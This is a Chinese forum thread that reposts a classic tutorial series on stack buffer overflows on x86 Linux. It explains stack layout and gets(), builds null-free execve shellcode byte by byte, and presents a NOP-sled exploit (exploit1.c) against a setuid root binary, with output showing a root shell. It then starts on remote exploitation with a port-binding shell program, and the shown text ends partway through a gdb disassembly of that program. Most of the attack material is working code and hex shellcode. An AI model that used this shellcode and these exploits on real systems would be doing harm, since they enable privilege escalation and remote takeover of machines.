新书推介:《语义网技术体系》
作者:瞿裕忠,胡伟,程龚
   XML论坛     W3CHINA.ORG讨论区     计算机科学论坛     SOAChina论坛     Blog     开放翻译计划     新浪微博  
 
  • 首页
  • 登录
  • 注册
  • 软件下载
  • 资料下载
  • 核心成员
  • 帮助
  •   Add to Google

    >> 本版讨论高级C/C++编程、代码重构(Refactoring)、极限编程(XP)、泛型编程等话题
    [返回] 中文XML论坛 - 专业的XML技术讨论区计算机技术与应用『 C/C++编程思想 』 → 堆栈溢出从入门到提高 查看新帖用户列表

      发表一个新主题  发表一个新投票  回复主题  (订阅本版) 您是本帖的第 9942 个阅读者浏览上一篇主题  刷新本主题   树形显示贴子 浏览下一篇主题
     * 贴子主题: 堆栈溢出从入门到提高 举报  打印  推荐  IE收藏夹 
       本主题类别:     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客楼主
    发贴心情 堆栈溢出从入门到提高

    堆栈溢出系列讲座

    入门篇

    本讲的预备知识:

    首先你应该了解intel汇编语言,熟悉寄存器的组成和功能。你必须有堆栈和存储分配方面

    的基础知识,有关这方面的计算机书籍很多,我将只是简单阐述原理,着重在应用。其次,

    你应该了解linux,本讲中我们的例子将在linux上开发。

    1:首先复习一下基础知识。

    从物理上讲,堆栈是就是一段连续分配的内存空间。在一个程序中,会声明各种变量。静态

    全局变量是位于数据段并且在程序开始运行的时候被加载。而程序的动态的局部变量则分配

    在堆栈里面。

    从操作上来讲,堆栈是一个先入后出的队列。他的生长方向与内存的生长方向正好相反。我

    们规定内存的生长方向为向上,则栈的生长方向为向下。压栈的操作push=ESP-4,出栈的

    操作是pop=ESP+4.换句话说,堆栈中老的值,其内存地址,反而比新的值要大。

    请牢牢记住这一点,因为这是堆栈溢出的基本理论依据。

    在一次函数调用中,堆栈中将被依次压入:参数,返回地址,EBP。如果函数有局部变量,

    接下来,就在堆栈中开辟相应的空间以构造变量。函数执行结束,这些局部变量的内容将被

    丢失。但是不被清除。在函数返回的时候,弹出EBP,恢复堆栈到函数调用的地址,弹出返回

    地址到EIP以继续执行程序。

    在C语言程序中,参数的压栈顺序是反向的。比如func(a,b,c)。在参数入栈的时候,是:

    先压c,再压b,最后a.在取参数的时候,由于栈的先入后出,先取栈顶的a,再取b,最后取c。

    (PS:如果你看不懂上面这段概述,请你去看以看关于堆栈的书籍,一般的汇编语言书籍都

    会详细的讨论堆栈,必须弄懂它,你才能进行下面的学习)

    2:好了,继续,让我们来看一看什么是堆栈溢出。

    2.1:运行时的堆栈分配

    堆栈溢出就是不顾堆栈中分配的局部数据块大小,向该数据块写入了过多的数据,导致数据

    越界。结果覆盖了老的堆栈数据。

    比如有下面一段程序:

    程序一:

    #include <stdio.h>

    int main ( )

    {

    char name[8];

    printf("Please type your name: ");

    gets(name);

    printf("Hello, %s!", name);

    return 0;

    }

    编译并且执行,我们输入ipxodi,就会输出Hello,ipxodi!。程序运行中,堆栈是怎么操作的呢?

    在main函数开始运行的时候,堆栈里面将被依次放入返回地址,EBP。

    我们用gcc -S 来获得汇编语言输出,可以看到main函数的开头部分对应如下语句:

    pushl %ebp

    movl %esp,%ebp

    subl $8,%esp

    首先他把EBP保存下来,,然后EBP等于现在的ESP,这样EBP就可以用来访问本函数的

    局部变量。之后ESP减8,就是堆栈向上增长8个字节,用来存放name[]数组。现在堆栈

    的布局如下:

    内存底部 内存顶部

    name EBP ret

    <------ [ ][ ][ ]

    ^&name

    栈顶部 堆栈底部

    执行完gets(name)之后,堆栈如下:

    内存底部 内存顶部

    name EBP ret

    <------ [ipxodi\0 ][ ][ ]

    ^&name

    栈顶部 堆栈底部

    最后,main返回,弹出ret里的地址,赋值给EIP,CPU继续执行EIP所指向的指令。

    2.2:堆栈溢出

    好,看起来一切顺利。我们再执行一次,输入ipxodiAAAAAAAAAAAAAAA,执行完

    gets(name)之后,堆栈如下:

    内存底部 内存顶部

    name EBP ret

    <------ [ipxodiAA][AAAA][AAAA].......

    ^&name

    栈顶部 堆栈底部

    由于我们输入的name字符串太长,name数组容纳不下,只好向内存顶部继续写

    ‘A’。由于堆栈的生长方向与内存的生长方向相反,这些‘A’覆盖了堆栈的

    老的元素。 如图

    我们可以发现,EBP,ret都已经被‘A’覆盖了。在main返回的时候,就会把

    ‘AAAA’的ASCII码:0x41414141作为返回地址,CPU会试图执行0x41414141处

    的指令,结果出现错误。这就是一次堆栈溢出。

    3:如何利用堆栈溢出

    我们已经制造了一次堆栈溢出。其原理可以概括为:由于字符串处理函数

    (gets,strcpy等等)没有对数组越界加以监视和限制,我们利用字符数组写

    越界,覆盖堆栈中的老元素的值,就可以修改返回地址。

    在上面的例子中,这导致CPU去访问一个不存在的指令,结果出错。

    事实上,当堆栈溢出的时候,我们已经完全的控制了这个程序下一步的动作。

    如果我们用一个实际存在指令地址来覆盖这个返回地址,CPU就会转而执行我

    们的指令。

    在UINX系统中,我们的指令可以执行一个shell,这个shell将获得和被我们堆

    栈溢出的程序相同的权限。如果这个程序是setuid的,那么我们就可以获得

    root shell。

    下一讲将叙述如何书写一个shell code。

    ------------------------------------------------------------

    如何书写一个shell code

    一:shellcode基本算法分析

    在程序中,执行一个shell的程序是这样写的:

    shellcode.c

    ------------------------------------------------------------------------

    -----

    #include <stdio.h>

    void main() {

    char *name[2];

    name[0] = "/bin/sh"

    name[1] = NULL;

    execve(name[0], name, NULL);

    }

    ------------------------------------------------------------------------

    ------

    execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为


       收藏   分享  
    顶(0)
      




    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/6 8:30:00
     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客2
    发贴心情 
    该程序的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为

    第三个参数。

    我们来看以看execve的汇编代码:

    [nkl10]$ gcc -o shellcode -static shellcode.c

    [nkl10]$ gdb shellcode

    (gdb) disassemble __execve

    Dump of assembler code for function __execve:

    0x80002bc <__execve>: pushl %ebp ;

    0x80002bd <__execve+1>: movl %esp,%ebp

    ;上面是函数头。

    0x80002bf <__execve+3>: pushl %ebx

    ;保存ebx

    0x80002c0 <__execve+4>: movl $0xb,%eax

    ;eax=0xb,eax指明第几号系统调用。

    0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

    ;ebp+8是第一个参数"/bin/sh\0"

    0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

    ;ebp+12是第二个参数name数组的地址

    0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

    ;ebp+16是第三个参数空指针的地址。

    ;name[2-1]内容为NULL,用来存放返回值。

    0x80002ce <__execve+18>: int $0x80

    ;执行0xb号系统调用(execve)

    0x80002d0 <__execve+20>: movl %eax,%edx

    ;下面是返回值的处理就没有用了。

    0x80002d2 <__execve+22>: testl %edx,%edx

    0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>

    0x80002d6 <__execve+26>: negl %edx

    0x80002d8 <__execve+28>: pushl %edx

    0x80002d9 <__execve+29>: call 0x8001a34

    <__normal_errno_location>

    0x80002de <__execve+34>: popl %edx

    0x80002df <__execve+35>: movl %edx,(%eax)

    0x80002e1 <__execve+37>: movl $0xffffffff,%eax

    0x80002e6 <__execve+42>: popl %ebx

    0x80002e7 <__execve+43>: movl %ebp,%esp

    0x80002e9 <__execve+45>: popl %ebp

    0x80002ea <__execve+46>: ret

    0x80002eb <__execve+47>: nop

    End of assembler dump.

    经过以上的分析,可以得到如下的精简指令算法:

    movl $execve的系统调用号,%eax

    movl "bin/sh\0"的地址,%ebx

    movl name数组的地址,%ecx

    movl name[n-1]的地址,%edx

    int $0x80 ;执行系统调用(execve)

    当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。

    可是,如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续

    执行后续的指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调

    用,结束shellcode.c的执行。

    我们来看以看exit(0)的汇编代码:

    (gdb) disassemble _exit

    Dump of assembler code for function _exit:

    0x800034c <_exit>: pushl %ebp

    0x800034d <_exit+1>: movl %esp,%ebp

    0x800034f <_exit+3>: pushl %ebx

    0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用

    0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0

    0x8000358 <_exit+12>: int $0x80 ;引发系统调用

    0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx

    0x800035d <_exit+17>: movl %ebp,%esp

    0x800035f <_exit+19>: popl %ebp

    0x8000360 <_exit+20>: ret

    0x8000361 <_exit+21>: nop

    0x8000362 <_exit+22>: nop

    0x8000363 <_exit+23>: nop

    End of assembler dump.

    看来exit(0)〕的汇编代码更加简单:

    movl $0x1,%eax ;1号系统调用

    movl 0,%ebx ;ebx为exit的参数0

    int $0x80 ;引发系统调用

    那么总结一下,合成的汇编代码为:

    movl $execve的系统调用号,%eax

    movl "bin/sh\0"的地址,%ebx

    movl name数组的地址,%ecx

    movl name[n-1]的地址,%edx

    int $0x80 ;执行系统调用(execve)

    movl $0x1,%eax ;1号系统调用

    movl 0,%ebx ;ebx为exit的参数0

    int $0x80 ;执行系统调用(exit)

    二:实现一个shellcode

    好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name

    数组。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次

    程序都是动态加载,字符串和name数组的地址都不是固定的。

    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/6 8:30:00
     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客3
    发贴心情 
    通过JMP和call的结合,黑客们巧妙的解决了这个问题。

    ------------------------------------------------------------------------

    ------

    jmp call的偏移地址 # 2 bytes

    popl %esi # 1 byte //popl出来的是string的地址。

    movl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组,

    //name[0]放 string的地址

    movb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结

    尾。

    movl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。

    movl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代码

    movl %esi,%ebx # 2 bytes //ebx=string的地址

    leal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址

    leal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址

    int $0x80 # 2 bytes //int 0x80是sys call

    movl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码

    movl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值

    int $0x80 # 2 bytes //int 0x80是sys call

    call popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会

    //为返回地址压栈。

    /bin/sh 字符串

    ------------------------------------------------------------------------

    ------

    首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作为

    call的返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,

    就获得了字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面

    8个字节,构造name数组(两个整数,八个字节)。

    我们可以写shellcode了。先写出汇编源程序。

    shellcodeasm.c

    ------------------------------------------------------------------------

    ------

    void main() {

    __asm__("

    jmp 0x2a # 3 bytes

    popl %esi # 1 byte

    movl %esi,0x8(%esi) # 3 bytes

    movb $0x0,0x7(%esi) # 4 bytes

    movl $0x0,0xc(%esi) # 7 bytes

    movl $0xb,%eax # 5 bytes

    movl %esi,%ebx # 2 bytes

    leal 0x8(%esi),%ecx # 3 bytes

    leal 0xc(%esi),%edx # 3 bytes

    int $0x80 # 2 bytes

    movl $0x1, %eax # 5 bytes

    movl $0x0, %ebx # 5 bytes

    int $0x80 # 2 bytes

    call -0x2f # 5 bytes

    .string \"/bin/sh\" # 8 bytes

    ");

    }

    ------------------------------------------------------------------------

    ------

    编译后,用gdb的b/bx 〔地址〕命令可以得到十六进制的表示。

    下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序)

    test.c

    ------------------------------------------------------------------------

    ------

    char shellcode[] =

    "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"

    "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"

    "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"

    "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"

    void main() {

    int *ret;

    ret = (int *)&ret + 2; //ret 等于main()的返回地址

    //(+2是因为:有pushl ebp ,否则加1就可以了。)

    (*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地

    址。

    }

    ------------------------------------------------------------------------

    ------

    ------------------------------------------------------------------------

    ------

    [nkl10]$ gcc -o test test.c

    [nkl10]$ ./test

    $ exit

    [nkl10]$

    ------------------------------------------------------------------------

    ------

    我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地址

    ret设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的shellcode,

    从而我们得到了一个shell。

    运行结果,得到了bsh的提示符$,表明成功的开了一个shell。

    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/6 8:30:00
     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客4
    发贴心情 
    这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作为

    一段代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。

    而我们的代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在

    代码段。

    这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关

    键在于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,

    以"\0"

    为字符串结尾。遇\0就结束了写操作。而我们的shellcode串中有大量的\0字符。因此,

    对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有\0字符

    出现的。

    因此,有些指令需要修改一下:

    旧的指令 新的指令

    --------------------------------------------------------

    movb $0x0,0x7(%esi) xorl %eax,%eax

    molv $0x0,0xc(%esi) movb %eax,0x7(%esi)

    movl %eax,0xc(%esi)

    --------------------------------------------------------

    movl $0xb,%eax movb $0xb,%al

    --------------------------------------------------------

    movl $0x1, %eax xorl %ebx,%ebx

    movl $0x0, %ebx movl %ebx,%eax

    inc %eax

    --------------------------------------------------------

    最后的shellcode为:

    ------------------------------------------------------------------------

    ----

    char shellcode[]=

    00 "\xeb\x1f" /* jmp 0x1f */

    02 "\x5e" /* popl %esi */

    03 "\x89\x76\x08" /* movl %esi,0x8(%esi) */

    06 "\x31\xc0" /* xorl %eax,%eax */

    08 "\x88\x46\x07" /* movb %eax,0x7(%esi) */

    0b "\x89\x46\x0c" /* movl %eax,0xc(%esi) */

    0e "\xb0\x0b" /* movb $0xb,%al */

    10 "\x89\xf3" /* movl %esi,%ebx */

    12 "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */

    15 "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */

    18 "\xcd\x80" /* int $0x80 */

    1a "\x31\xdb" /* xorl %ebx,%ebx */

    1c "\x89\xd8" /* movl %ebx,%eax */

    1e "\x40" /* inc %eax */

    1f "\xcd\x80" /* int $0x80 */

    21 "\xe8\xdc\xff\xff\xff" /* call -0x24 */

    26 "/bin/sh" /* .string \"/bin/sh\" */

    ------------------------------------------------------------------------

    ----

    三:利用堆栈溢出获得shell

    好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完,

    我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。

    overflow1.c

    ------------------------------------------------------------------------

    ------

    char shellcode[] =

    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

    "\x80\xe8\xdc\xff\xff\xff/bin/sh"

    char large_string[128];

    void main() {

    char buffer[96];

    int i;

    long *long_ptr = (long *) large_string;

    for (i = 0; i < 32; i++)

    *(long_ptr + i) = (int) buffer;

    for (i = 0; i < strlen(shellcode); i++)

    large_string[i] = shellcode[i];

    strcpy(buffer,large_string);

    }

    ------------------------------------------------------------------------

    ------

    在执行完strcpy后,堆栈内容如下所示:

    内存底部 内存顶部

    buffer EBP ret

    <------ [SSS...SSSA ][A ][A ]A..A

    ^&buffer

    栈顶部 堆栈底部

    注:S表示shellcode。

    A表示shellcode的地址。

    这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们

    的shellcode。

    ----------------------------------------------------------

    利用堆栈溢出获得shell

    现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们

    将面对

    一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。

    回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的

    strcpy

    函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的

    开始地

    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/6 8:31:00
     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客5
    发贴心情 
    址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的

    shellcode,从而我们得到了一个shell。

    当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件

    事:

    1:把我们的shellcode提供给他,让他可以访问shellcode。

    2:修改他的返回地址为shellcode的入口地址。

    为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer

    的地址。

    因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开

    始地址

    ,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。

    我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是

    相同的

    。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程

    序堆栈

    的开始地址。

    下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax

    寄存器

    里面):

    ------------------------------------------------------------------------

    ------

    unsigned long get_sp(void) {

    __asm__("movl %esp,%eax");

    }

    ------------------------------------------------------------------------

    ------

    我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自

    写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是

    几K

    左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。

    显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。

    前面我们用来覆盖堆栈的溢出字符串为:

    SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    现在,为了提高命中率,我们对他进行如下改进:

    用来溢出的字符串变为:

    NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA

    其中:

    N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上,

    NOP指令的机器码为0x90。

    S为shellcode。

    A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到

    S.

    这个改进大大提高了猜测的命中率,有时几乎可以一次命中。:)))

    好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到

    shell的程序:

    exploit1.c

    ------------------------------------------------------------------------

    ----

    #include<stdio.h>

    #include<stdlib.h>

    #define OFFSET 0

    #define RET_POSITION 1024

    #define RANGE 20

    #define NOP 0x90

    char shellcode[]=

    "\xeb\x1f" /* jmp 0x1f */

    "\x5e" /* popl %esi */

    "\x89\x76\x08" /* movl %esi,0x8(%esi) */

    "\x31\xc0" /* xorl %eax,%eax */

    "\x88\x46\x07" /* movb %eax,0x7(%esi) */

    "\x89\x46\x0c" /* movl %eax,0xc(%esi) */

    "\xb0\x0b" /* movb $0xb,%al */

    "\x89\xf3" /* movl %esi,%ebx */

    "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */

    "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */

    "\xcd\x80" /* int $0x80 */

    "\x31\xdb" /* xorl %ebx,%ebx */

    "\x89\xd8" /* movl %ebx,%eax */

    "\x40" /* inc %eax */

    "\xcd\x80" /* int $0x80 */

    "\xe8\xdc\xff\xff\xff" /* call -0x24 */

    "/bin/sh" /* .string \"/bin/sh\" */

    unsigned long get_sp(void)

    {

    __asm__("movl %esp,%eax");

    }

    main(int argc,char **argv)

    {

    char buff[RET_POSITION+RANGE+1],*ptr;

    long addr;

    unsigned long sp;

    int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;

    int i;

    if(argc>1)

    offset=atoi(argv[1]);

    sp=get_sp();

    addr=sp-offset;

    for(i=0;i<bsize;i+=4)

    *((long *)&(buff[i]))=addr;

    for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)

    buff[i]=NOP;

    ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;

    for(i=0;i<strlen(shellcode);i++)

    *(ptr++)=shellcode[i];

    buff[bsize-1]="\0"

    //现在buff的内容为

    //NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0

    printf("Jump to 0x%08x\n",addr);

    execl("./vulnerable1","vulnerable1",buff,0);

    }

    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/6 8:31:00
     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客6
    发贴心情 
    ------------------------------------------------------------------------

    ----

    execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串,

    作为./vulnerable1的参数提供。

    以下是执行的结果:

    ------------------------------------------------------------------------

    ----

    [nkl10]$ ls -l vulnerable1

    -rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*

    [nkl10]$ ls -l exploit1

    -rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*

    [nkl10]$ ./exploit1

    Jump to 0xbfffec64

    Segmentation fault

    [nkl10]$ ./exploit1 500

    Jump to 0xbfffea70

    bash# whoami

    root

    bash#

    ------------------------------------------------------------------------

    ----

    恭喜,恭喜,你获得了root shell。

    下一讲,我们将进一步探讨shellcode的书写。我们将讨论一些很复杂的

    shellcode。

    --------------------------------------------------------------

    远程堆栈溢出

    我们用堆栈溢出攻击守护进程daemon时,原理和前面提到过的本地攻击是相同的。

    我们

    必须提供给目标daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制

    (或者

    别的串处理操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。

    普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的攻击

    者来说

    ,由于我们不在本地,这个sh我们并没有得到。

    因此,对于远程使用者,我们传过去的shellcode就必须负担起打开一个socket,

    然后

    listen我们的连接,给我们一个远程shell的责任。

    如何开一个远程shell呢?我们先申请一个socketfd,使用30464(随便,多少都行

    )作为

    这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进

    来后,

    开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样,

    我们

    远程的使用者就有了一个远程shell(跟telnet一样啦)。

    下面就是这个算法的C实现:

    opensocket.c

    ------------------------------------------------------------------------

    ----

    1#include<unistd.h>

    2#include<sys/socket.h>

    3#include<netinet/in.h>

    4int soc,cli,soc_len;

    5struct sockaddr_in serv_addr;

    6struct sockaddr_in cli_addr;

    7int main()

    8{

    9 if(fork()==0)

    10 {

    11 serv_addr.sin_family=AF_INET;

    12 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);

    13 serv_addr.sin_port=htons(30464);

    14 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

    15 bind(soc,(struct sockaddr *)&serv_addr,

    sizeof(serv_addr));

    16 listen(soc,1);

    17 soc_len=sizeof(cli_addr);

    18 cli=accept(soc,(struct sockaddr *)&cli_addr,

    &soc_len);

    19 dup2(cli,0);

    20 dup2(cli,1);

    21 dup2(cli,2);

    22 execl("/bin/sh","sh",0);

    23 }

    24}

    ------------------------------------------------------------------------

    ----

    第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的

    pid,

    对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子

    进程

    作为socket通信的执行者继续下面的操作。

    10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc,然后

    调用

    bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接

    当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出,

    标准错误输出重定向到客户的文件描述符上,开一个子sh,这样,子shell继承了

    这个进程的文件描述符,对于客户来说,就是得到了一个远程shell。

    看懂了吗?嗯,对,这是一个比较简单的socket程序,很好理解的。好,我们使用

    gdb来反编译上面的程序:

    [nkl10]$ gcc -o opensocket -static opensocket.c

    [nkl10]$ gdb opensocket

    GNU gdb 4.17

    Copyright 1998 Free Software Foundation, Inc.

    GDB is free software, covered by the GNU General Public License, and you

    are

    welcome to change it and/or distribute copies of it under certain

    conditions.

    ----------------------------------------------
    事业是国家的,荣誉是单位的,成绩是领导的,工资是老婆的,财产是孩子的,错误是自己的。

    点击查看用户来源及管理<br>发贴IP:*.*.*.* 2007/11/6 8:31:00
     
     卷积内核 帅哥哟,离线,有人找我吗?
      
      
      威望:8
      头衔:总统
      等级:博士二年级(版主)
      文章:3942
      积分:27590
      门派:XML.ORG.CN
      注册:2004/7/21

    姓名:(无权查看)
    城市:(无权查看)
    院校:(无权查看)
    给卷积内核发送一个短消息 把卷积内核加入好友 查看卷积内核的个人资料 搜索卷积内核在『 C/C++编程思想 』的所有贴子 访问卷积内核的主页 引用回复这个贴子 回复这个贴子 查看卷积内核的博客7
    发贴心情 
    Type "show copying" to see the conditions.

    There is absolutely no warranty for GDB. Type "show warranty" for

    details.

    This GDB was configured as "i386-redhat-linux"...

    (gdb) disassemble fork

    Dump of assembler code for function fork:

    0x804ca90 <fork>: movl $0x2,%eax

    0x804ca95 <fork+5>: int $0x80

    0x804ca97 <fork+7>: cmpl $0xfffff001,%eax

    0x804ca9c <fork+12>: jae 0x804cdc0 <__syscall_error>

    0x804caa2 <fork+18>: ret

    0x804caa3 <fork+19>: nop

    0x804caa4 <fork+20>: nop

    0x804caa5 <fork+21>: nop

    0x804caa6 <fork+22>: nop

    0x804caa7 <fork+23>: nop

    0x804caa8 <fork+24>: nop

    0x804caa9 <fork+25>: nop

    0x804caaa <fork+26>: nop

    0x804caab <fork+27>: nop

    0x804caac <fork+28>: nop

    0x804caad <fork+29>: nop

    0x804caae <fork+30>: nop

    0x804caaf <fork+31>: nop

    End of assembler dump.

    (gdb) disassemble socket

    Dump of assembler code for function socket:

    0x804cda0 <socket>: movl %ebx,%edx

    0x804cda2 <socket+2>: movl $0x66,%eax

    0x804cda7 <socket+7>: movl $0x1,%ebx

